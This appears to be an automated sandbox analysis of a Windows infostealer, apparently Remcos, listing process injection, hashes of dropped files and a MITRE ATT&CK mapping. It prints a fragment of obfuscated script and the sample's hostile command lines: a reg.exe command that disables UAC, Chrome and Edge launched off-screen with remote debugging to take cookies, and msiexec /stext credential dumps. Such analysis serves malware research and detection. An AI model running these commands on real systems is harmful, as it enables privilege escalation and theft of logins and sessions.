DupN.antgProl(Kryp$SkeptBrn iJ hnLSjlefVensOFotoRana,LreedaLancDQua E tjel BehIOmdeGPrebEo terVa,ueGodm,Opha$M,narHackAHospC andesup ROmgrC.atryG arkBlodlHe teInt RVandNJoulesterS Gra) Di, ');Begejstret $salr;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4268
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4360
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:2624
- - C:\Program Files\Google\Chrome\Application\Chrome.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5060
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8032fcc40,0x7ff8032fcc4c,0x7ff8032fcc58
      4⤵
      PID:4720
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1936,i,8026094786241983116,12340703057710102973,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1932 /prefetch:2
      4⤵
      PID:4536
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2116,i,8026094786241983116,12340703057710102973,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2124 /prefetch:3
      4⤵
      PID:4276
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2132,i,8026094786241983116,12340703057710102973,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2372 /prefetch:8
      4⤵
      PID:3264
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3160,i,8026094786241983116,12340703057710102973,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3196 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4064
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3168,i,8026094786241983116,12340703057710102973,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3216 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4580
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4412,i,8026094786241983116,12340703057710102973,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4588 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4812
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4576,i,8026094786241983116,12340703057710102973,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4744 /prefetch:8
      4⤵
      PID:4328
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4736,i,8026094786241983116,12340703057710102973,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4828 /prefetch:8
      4⤵
      PID:2572
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\jsdmmbft"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2988
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\lmjxmuquduyw"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:1752
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\vgoqnmboqdqbkza"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:4712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff8031b46f8,0x7ff8031b4708,0x7ff8031b4718
      4⤵
      PID:1384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,10057142184481938652,6342931153433125636,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2
      4⤵
      PID:1944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,10057142184481938652,6342931153433125636,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
      4⤵
      PID:1956
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,10057142184481938652,6342931153433125636,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2700 /prefetch:8
      4⤵
      PID:4804
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2140,10057142184481938652,6342931153433125636,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2684
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2140,10057142184481938652,6342931153433125636,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2140,10057142184481938652,6342931153433125636,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5400 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4868
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2140,10057142184481938652,6342931153433125636,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4472

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3044

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2092

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
02a11319427da677decb04c7482dc915

SHA1
cc13ac0533be8c6cf88c8462a05d9fe559ce13c7

SHA256
486de77f71ba85927c41ee2464055d6c09af79185297059436ad723df6ddd393

SHA512
d7c19d71ea5465c5e5cc75f20e6089f8ff1099fe547c1039db6f56d6c5178612a795411a7782a385042811e3f7d3808fc38a645553e087c879d62a123052b9df

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
40B

MD5
9214bb30502c9b2ac3aba41327cb708c

SHA1
798423751e142536d3ed05591aabc7f56db78831

SHA256
02acbf73f36f67d32395b4bfbb34505adcb61b8a58985deaae248c58e2904e08

SHA512
753332c1ed803715b223c0479eb332e2bd81f91888157582eaac21316ffc0d93a7b7cb5aa907778a67cd1e7a4c263c89b06bd58bf96ed07b03576ed71ce1c7cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
39a9a4bbb4437b39f9f3e255f5effcfc

SHA1
18f0f099a812763cd7a5a94acb364e255ff1ebdd

SHA256
c69288aa380c6dcf44067f6ac742b179745d5a34648d563c3a1719c78011aa3a

SHA512
4b1808b2cdfd6eda208c10f7d986ccd61665b0ed394f6bdd7baaab52a93c41a37e7e6c1d6afc891cc13aa5e3b6a16817628860d802fc4c6efa64f34b43b8329b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
c47b7e1529bbf9433db8eea980937e23

SHA1
6acd60ce5c075ea3b5544cf2c7b156b10eed2c2a

SHA256
1b4f5d0a397f80276e9513df37157e6cced42600c1d29c714dcac11d8a20627b

SHA512
026aeb67bd650e7e246b3b5c927859372f9c243e8367b67343aceca46fff37f613a83641ef83ded49399567e0c3b8e7b148a1e8abdd6bf7a1ab192b96c69bfbe

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
99a19d37c1cedcdffd2ff466fc1ee54a

SHA1
cf9ea385c6ef8a93bd0db3c42f01e8efc8c695ca

SHA256
9b86c4b731b238e08138501a2576f885507147eb3b00a3aeccd447d7cd898530

SHA512
a8fdc9b2ecd1b0270c276901d2d259c227c10d8db21301dacfd1a4705bf89261785b3c04bc21ede9366258dbf6fdf4eecd8a386d7519c8c9d5c174ae31eec75d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\throttle_store.dat

Filesize
20B

MD5
9e4e94633b73f4a7680240a0ffd6cd2c

SHA1
e68e02453ce22736169a56fdb59043d33668368f

SHA256
41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304

SHA512
193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\js\index

Filesize
24B

MD5
54cb446f628b2ea4a5bce5769910512e

SHA1
c27ca848427fe87f5cf4d0e0e3cd57151b0d820d

SHA256
fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d

SHA512
8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\wasm\index-dir\the-real-index

Filesize
48B

MD5
b947b86b907d9f6ec89ccc8165ee1602

SHA1
93698c1090fd38465ae7e3f50836c57e7c01104b

SHA256
b6fae73c51f789ed76fdf20dee36aa61ae030662502860e167c0f211ff862a76

SHA512
d63f4b3a898d580cdc91e1c8f6c44e4c089a2fae0864f76d2987b658e2ddd4e880fbd295e5725fd64c8ca4997076d39a1b77ca83a61fd0500c649200a00aa718

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Favicons

Filesize
20KB

MD5
b40e1be3d7543b6678720c3aeaf3dec3

SHA1
7758593d371b07423ba7cb84f99ebe3416624f56

SHA256
2db221a44885c046a4b116717721b688f9a026c4cae3a17cf61ba9bef3ad97f4

SHA512
fb0664c1c83043f7c41fd0f1cc0714d81ecd71a07041233fb16fefeb25a3e182a77ac8af9910eff81716b1cceee8a7ee84158a564143b0e0d99e00923106cc16

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\GPUCache\index

Filesize
256KB

MD5
1963ff2d12a554792a00caf6a0a1a779

SHA1
29e5383a512e16f5df1590bf8c835a6a3f8d3cad

SHA256
4d9e654fd5bee77c99dcfe79be1e82f3346b60420273214de9b3a6ef170e2ea2

SHA512
900e96d8f5abc6551e25569b7ebe29c27e409ae1a5353f088411d6f84119dbbb43ab466ce563ce2d909d9fa6945e71acc1200664ec1feb710747b817b501b17a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\History

Filesize
192KB

MD5
d30bfa66491904286f1907f46212dd72

SHA1
9f56e96a6da2294512897ea2ea76953a70012564

SHA256
25bee9c6613b6a2190272775a33471a3280bd9246c386b72d872dc6d6dd90907

SHA512
44115f5aaf16bd3c8767bfb5610eba1986369f2e91d887d20a9631807c58843434519a12c9fd23af38c6adfed4dbf8122258279109968b37174a001320839237

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\LOG

Filesize
275B

MD5
37374096f92b9e2b0d67e9c70165c717

SHA1
3bfd3b4ebe9258089a4eb0308e29a8a1dd48f7ce

SHA256
ac430eafd9a50a9b32b0da1c443fa9925e82f1ba8326adcbbcae25b8bd2d9974

SHA512
b5836438e039399b5951767a16b74077b63e1eb57500bf6f4f1654b5bde8c143e3bd091a53db732f9022665c34a9388eebfc59cbda78e25e0aa4d0370dd603d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Login Data

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Microsoft Edge.lnk

Filesize
1KB

MD5
3721505c23d338a098e51e80cc5a5b6e

SHA1
f23bd2bdf832cd27ef107294fdb9796b05859e24

SHA256
b1d6918b7ab8fc82ce5276d91918099ddd2e71ed9ccb627216e22df5314ead65

SHA512
1d65a3fbda6b5de8e3491be06061ca6828c2a721106cb55417cc40f80ccb10392848df477caae7753c0686313455029b00bfb160d8cad8e7ea94bac21a13d34a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\Cookies

Filesize
20KB

MD5
a91a6e131c49c27b2e835ca677ba38e0

SHA1
44fc70e4276c4a78ede1c0a2000ad97583ac4ff6

SHA256
bd83c11d658895cec6936d02c74102d804f50c15d7dd1bf0f5d2b3544667eff1

SHA512
e9ba12d02ac766aa2d5dbe8f69d6cc691e4ebea95fccc615f44c599d5d45c245274caf296313f3481da86be04768bdbf8d4652d4f92ee0a367c58fb2bb0f46c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
5KB

MD5
5880ccec5425d58f1242913b07ee1ae2

SHA1
6de0d6fa2e2f91937e022132c0e2aad3bf62fd10

SHA256
9b1a1094e15dc3bd05155a66cae41c8ee69b14cde6cdd29fbd96fcd0e44f57c1

SHA512
61e6cab7aa0451e6f5513da30089f5ae6f7f4098a71edde17297e01ed64dd863a28ae912ed56f5c22bf6d85ef1e18870248e6561453bd4a3ca4d5fd570c7ad9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
1KB

MD5
0d4b3eeb6b4343ffcc5a9aa997f52bf4

SHA1
28c9da82e5539ed572b6fec079b554fa8aec4ea1

SHA256
6fdef3a9e405c12f661f27b154905fba6a07360e4637f2a26766121eea57461b

SHA512
1067628201faab52f28d364cf83650f2368d9921c4459a8d388a863a15e15e850a9a61ec0d36158b9f4d590ce93bf8619a6ba2dda94786f6d6527fa824775aa2

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
15KB

MD5
0e22211f1e332db3305814f41692eaf8

SHA1
6b7f95f6ce90807c6b39189b6387cd9f51086ca7

SHA256
8c222015da24e6908e7ccbcb286ec420dc7bf19ffede90ab6fe4733c84093e4a

SHA512
6d09bb86181f0ab9b609155f19dea78c6f6e7fb4dc4375556df7520d641958df0ada60b1ea142e3888c28dbd2c0ab46ee3ea190a80d26490e3127030eb902c87

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
24KB

MD5
250fa8ddbcd25046617cbda286adfa8d

SHA1
791aff45a33de50edd5e3ee129572f11d1bd4163

SHA256
d28979f947949ac36d9d5fee27c304ce052ce17a0180c3e1040281fb04a262a7

SHA512
c680a46eebf78338e2b77e7e77240f7da86a853db91bd9ff0813dadb45cb2c3a8f2dce0ea1c8c130b0913807d99cc6d589a649c2a77a71109889b8a175d6f5ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\000003.log

Filesize
241B

MD5
9082ba76dad3cf4f527b8bb631ef4bb2

SHA1
4ab9c4a48c186b029d5f8ad4c3f53985499c21b0

SHA256
bff851dedf8fc3ce1f59e7bcd3a39f9e23944bc7e85592a94131e20fd9902ddd

SHA512
621e39d497dece3f3ddf280e23d4d42e4be8518e723ecb82b48f8d315fc8a0b780abe6c7051c512d7959a1f1def3b10b5ed229d1a296443a584de6329275eb40

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\LOG

Filesize
279B

MD5
4a48cdf85f212434d0837a851f409653

SHA1
b439199a5051973a4074174fc9dd55028ae45cf4

SHA256
4ca455d19c677c938b3da9ce1dd3612f604d2e78d095724ccf0b4bc8fd5c94dc

SHA512
cd3b15c5ab984dfd1bf5bc907356d7df490330413b1e066197c93696aa569769e40a4bd477bd2a4535af39d29b0050e9d2ed890f1a4b6d6c816756aaf46a66af

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\000003.log

Filesize
80B

MD5
69449520fd9c139c534e2970342c6bd8

SHA1
230fe369a09def748f8cc23ad70fd19ed8d1b885

SHA256
3f2e9648dfdb2ddb8e9d607e8802fef05afa447e17733dd3fd6d933e7ca49277

SHA512
ea34c39aea13b281a6067de20ad0cda84135e70c97db3cdd59e25e6536b19f7781e5fc0ca4a11c3618d43fc3bd3fbc120dd5c1c47821a248b8ad351f9f4e6367

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\LOG

Filesize
263B

MD5
0812ea6687770ab8c475f126ff2b036e

SHA1
52e53e743d0e18010c4a76fc719ceac2b4c87b7c

SHA256
66b223284d4d928da81c369b05c0cd16728f342ceb2d42414709992c04b01e35

SHA512
83bdebbe02e271b5a54d9b52a0226ba5d80b25e5e3d01896a57e7b3656f6cec263c1607378590d33d0fcc93039badfbc52ab3412de089c5a7da762cb6972a6d2

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\000003.log

Filesize
40B

MD5
148079685e25097536785f4536af014b

SHA1
c5ff5b1b69487a9dd4d244d11bbafa91708c1a41

SHA256
f096bc366a931fba656bdcd77b24af15a5f29fc53281a727c79f82c608ecfab8

SHA512
c2556034ea51abfbc172eb62ff11f5ac45c317f84f39d4b9e3ddbd0190da6ef7fa03fe63631b97ab806430442974a07f8e81b5f7dc52d9f2fcdc669adca8d91f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\LOG

Filesize
293B

MD5
0de93754480da1ec41060aef889bffd4

SHA1
d2edf9c88c22d1b93fd4a237f643e98bbbb42610

SHA256
ae648f2dbb9b10000873cd6aba385e5ebdfea00b652f93f448306dcb289e0924

SHA512
9d9bfd8163fb2f7e932875eb274a9b17cb66e5dceb6edbd717dddd46f6ecf0b9bea5a83e85a95b3c287dd25be601ba2e8b79098c6c2b301c6e5ae4146cbf888d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\000003.log

Filesize
46B

MD5
90881c9c26f29fca29815a08ba858544

SHA1
06fee974987b91d82c2839a4bb12991fa99e1bdd

SHA256
a2ca52e34b6138624ac2dd20349cde28482143b837db40a7f0fbda023077c26a

SHA512
15f7f8197b4fc46c4c5c2570fb1f6dd73cb125f9ee53dfa67f5a0d944543c5347bdab5cce95e91dd6c948c9023e23c7f9d76cff990e623178c92f8d49150a625

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\LOG

Filesize
269B

MD5
915306b0eb5fcc98171e27bcee66568c

SHA1
5ad4dd92d2fce2030ade534a075473da0080f1c0

SHA256
1532b4ab6faf3197a57f1c0f022a659314013d0ad88807a54518e17e3431adf4

SHA512
4ea3114036c8d0115718d3de4292eedbccaa84e225d6dfedcd9f1ae0ee4be67d0a6104d625c758e3264d5e6dcd552b80a52a78a383e08876e91c7f2148100fb6

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Top Sites

Filesize
20KB

MD5
986962efd2be05909f2aaded39b753a6

SHA1
657924eda5b9473c70cc359d06b6ca731f6a1170

SHA256
d5dddbb1fbb6bbf2f59b9d8e4347a31b6915f3529713cd39c0e0096cea4c4889

SHA512
e2f086f59c154ea8a30ca4fa9768a9c2eb29c0dc2fe9a6ed688839853d90a190475a072b6f7435fc4a1b7bc361895086d3071967384a7c366ce77c6771b70308

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Visited Links

Filesize
128KB

MD5
b112213ed72aaaf28be4f6a1f7605058

SHA1
9a0fc98f16b29bbd25120010799e9e8379025f50

SHA256
409bba47f05c9d5284eeec747838415a98a33637a07109d5e2024d2daa7b23cf

SHA512
9615e0a5a41a5b85fc16fe63fc0d0d1a59f19eb7ef9eec8fc211c5bfb97f7c6adf83478289ce1ad9b3aa40c98f90676a7032930a09c49de69e51476df81abb60

Download Submit
